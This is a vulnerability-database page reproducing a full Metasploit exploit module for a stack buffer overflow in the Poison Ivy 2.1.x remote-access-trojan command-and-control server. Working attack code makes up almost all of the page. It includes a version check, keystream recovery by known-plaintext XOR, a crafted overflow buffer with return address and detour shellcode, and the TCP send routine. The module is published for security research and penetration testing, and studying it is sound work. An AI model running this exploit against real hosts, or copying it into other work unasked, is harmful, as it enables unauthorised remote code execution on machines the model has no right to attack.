Lucene search
K

Poison Ivy 2.1.x - C2 Buffer Overflow (Metasploit)

🗓️ 10 Jun 2016 00:00:00Reported by Jos WetzelsType 
zdt
 zdt
🔗 0day.today👁 42 Views

Poison Ivy 2.1.x C2 Buffer Overflow in C&C server allows stack buffer overflow exploit without needing to know bot/server communication password

Code
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking
 
  include Msf::Exploit::Remote::Tcp
 
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Poison Ivy 2.1.x C2 Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack buffer overflow in the Poison Ivy 2.1.x C&C server.
        The exploit does not need to know the password chosen for the bot/server communication.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Jos Wetzels' # Vulnerability Discovery, exploit & Metasploit module
        ],
      'References'     =>
        [
          [ 'URL', 'http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware' ],
        ],
      'DisclosureDate' => 'Jun 03 2016',
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'             => 0x847 # limited by amount of known plaintext (hard upper limit is 0xFFD)
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [
            'Poison Ivy 2.1.4 on Windows XP SP3',
            {
              'Ret' => 0x00469159, # jmp esp from "Poison Ivy 2.1.4.exe"
              'StoreAddress' => 0x00520000, # .tls section address from "Poison Ivy 2.1.4.exe"
              'InfoSizeOffset' => 0x1111, # offset of InfoSize variable
              'DecompressSizeOffset' => 0x1109, # offset of DecompressSize variable
              'Packet2Offset' => 0xB9E # offset of second packet within server's response
            }
          ]
        ],
      'DefaultTarget'  => 0
    ))
 
    register_options(
      [
        Opt::RPORT(3460)
      ], self.class)
 
  end
 
  # XOR two strings
  def xor_strings(s1, s2)
    s1.unpack('C*').zip(s2.unpack('C*')).map{ |a,b| a ^ b }.pack('C*')
  end
 
  # Obtain keystream using known plaintext
  def get_keystream(ciphertext, knownPlaintext)
    if(ciphertext.length < knownPlaintext.length)
      return xor_strings(ciphertext, knownPlaintext[0, ciphertext.length])
    else
      return xor_strings(ciphertext, knownPlaintext)
    end
  end
 
  # Apply keystream to plaintext
  def use_keystream(plaintext, keyStream)
    if(keyStream.length > plaintext.length)
      return xor_strings(plaintext, keyStream[0, plaintext.length])
    else
      return xor_strings(plaintext, keyStream)
    end
  end
 
  def check
    connect
    # Poke
    sock.put("\x01")
    # Fetch response
    response = sock.get_once(6)
 
    if (response == "\x89\xFF\x90\x0B\x00\x00")
      vprint_status("Poison Ivy C&C version 2.1.4 detected.")
      return Exploit::CheckCode::Appears
    elsif (response == "\x89\xFF\x38\xE0\x00\x00")
      vprint_status("Poison Ivy C&C version 2.0.0 detected.")
      return Exploit::CheckCode::Safe
    end
 
    return Exploit::CheckCode::Safe
  end
 
  # Load known plaintext chunk
  def load_c2_packet_chunk
    path = ::File.join(Msf::Config.data_directory, 'exploits', 'poison_ivy_c2', 'chunk_214.bin')
    chunk = ::File.open(path, 'rb') { |f| chunk = f.read }
    chunk
  end
 
  def exploit
    # Known plaintext from C2 packet
    knownPlaintext1 = "\x89\x00\x69\x0c\x00\x00"
    knownPlaintext2 = load_c2_packet_chunk()
 
    # detour shellcode (mov eax, StoreAddress; jmp eax)
    detourShellcode =  "\xB8" + [target['StoreAddress']].pack("V") # mov eax, StoreAddress
    detourShellcode << "\xFF\xE0" # jmp eax
 
    # Padding where necessary
    compressedBuffer = payload.encoded + Rex::Text.rand_text_alpha(0xFFD - payload.encoded.length)
 
    # Construct exploit buffer
    exploitBuffer =  Rex::Text.rand_text_alpha(4)              # infoLen (placeholder)
    exploitBuffer << compressedBuffer                          # compressedBuffer
    exploitBuffer << "\xFF" * 0x104                            # readfds
    exploitBuffer << Rex::Text.rand_text_alpha(4)              # compressionType
    exploitBuffer << Rex::Text.rand_text_alpha(4)              # decompressSize (placeholder)
    exploitBuffer << Rex::Text.rand_text_alpha(4)              # pDestinationSize
    exploitBuffer << Rex::Text.rand_text_alpha(4)              # infoSize (placeholder)
    exploitBuffer << Rex::Text.rand_text_alpha(4)              # headerAllocSize
    exploitBuffer << [target['StoreAddress']].pack("V")        # decompressBuffer
    exploitBuffer << Rex::Text.rand_text_alpha(4)              # decompressBuffer+4
    exploitBuffer << Rex::Text.rand_text_alpha(4)              # lParam
    exploitBuffer << Rex::Text.rand_text_alpha(4)              # timeout
    exploitBuffer << Rex::Text.rand_text_alpha(4)              # hWnd
    exploitBuffer << Rex::Text.rand_text_alpha(4)              # s
    exploitBuffer << Rex::Text.rand_text_alpha(4)              # old EBP
    exploitBuffer << [target['Ret']].pack("V")    # EIP
    exploitBuffer << [target['StoreAddress']].pack("V")  # arg_0
    exploitBuffer << detourShellcode # detour to storage area
 
    # Calculate values
    allocSize = exploitBuffer.length + 1024
    infoLen = payload.encoded.length
    infoSize = (infoLen + 4)
 
    # Handshake
    connect
    print_status("Performing handshake...")
 
    # Poke
    sock.put("\x01")
 
    # Fetch response
    response = sock.get(target['Packet2Offset'] + knownPlaintext1.length + infoSize)
 
    eHeader = response[target['Packet2Offset'], 6]
    eInfo = response[target['Packet2Offset'] + 10..-1]
 
    if ((eHeader.length >= knownPlaintext1.length) and (knownPlaintext1.length >= 6) and (eInfo.length >= knownPlaintext2.length) and (knownPlaintext2.length >= infoSize))
      # Keystream derivation using Known Plaintext Attack
      keyStream1 = get_keystream(eHeader, knownPlaintext1)
      keyStream2 = get_keystream(eInfo, knownPlaintext2)
 
      # Set correct infoLen
      exploitBuffer = [infoLen].pack("V") + exploitBuffer[4..-1]
 
      # Set correct decompressSize
      exploitBuffer = exploitBuffer[0, target['DecompressSizeOffset']] + [infoSize].pack("V") + exploitBuffer[(target['DecompressSizeOffset'] + 4)..-1]
 
      # Build packet
      malHeader = use_keystream("\x89\x01" + [allocSize].pack("V"), keyStream1)
 
      # Encrypt infoSize bytes
      encryptedExploitBuffer = use_keystream(exploitBuffer[0, infoSize], keyStream2) + exploitBuffer[infoSize..-1]
 
      # Make sure infoSize gets overwritten properly since it is processed before decryption
      encryptedExploitBuffer = encryptedExploitBuffer[0, target['InfoSizeOffset']] + [infoSize].pack("V") + encryptedExploitBuffer[target['InfoSizeOffset']+4..-1]
 
      # Finalize packet
      exploitPacket = malHeader + [encryptedExploitBuffer.length].pack("V") + encryptedExploitBuffer
 
      print_status("Sending exploit...")
      # Send exploit
      sock.put(exploitPacket)
    else
      print_status("Not enough keystream available...")
    end
 
    select(nil,nil,nil,5)
    disconnect
  end
 
end

#  0day.today [2018-01-08]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation